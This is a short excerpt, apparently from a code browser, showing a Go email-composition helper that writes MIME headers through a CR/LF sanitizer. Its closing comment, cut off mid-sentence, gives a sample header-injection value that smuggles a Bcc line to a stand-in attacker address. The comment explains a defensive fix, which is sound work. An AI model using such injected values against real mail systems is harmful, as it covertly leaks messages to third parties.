Function headerWriter

internal/outbound/compose.go:248–255

(buf *strings.Builder)

}

func headerWriter(buf *strings.Builder) func(string, string) {
	return func(key, value string) {
		buf.WriteString(textproto.CanonicalMIMEHeaderKey(key))
		buf.WriteString(": ")
		buf.WriteString(sanitizeHeaderValue(value))
		buf.WriteString("\r\n")
	}
}

// sanitizeHeaderValue strips CR and LF to prevent header injection.
// Without this, an attacker-controlled value like "abc\r\nBcc: leak@evil.com"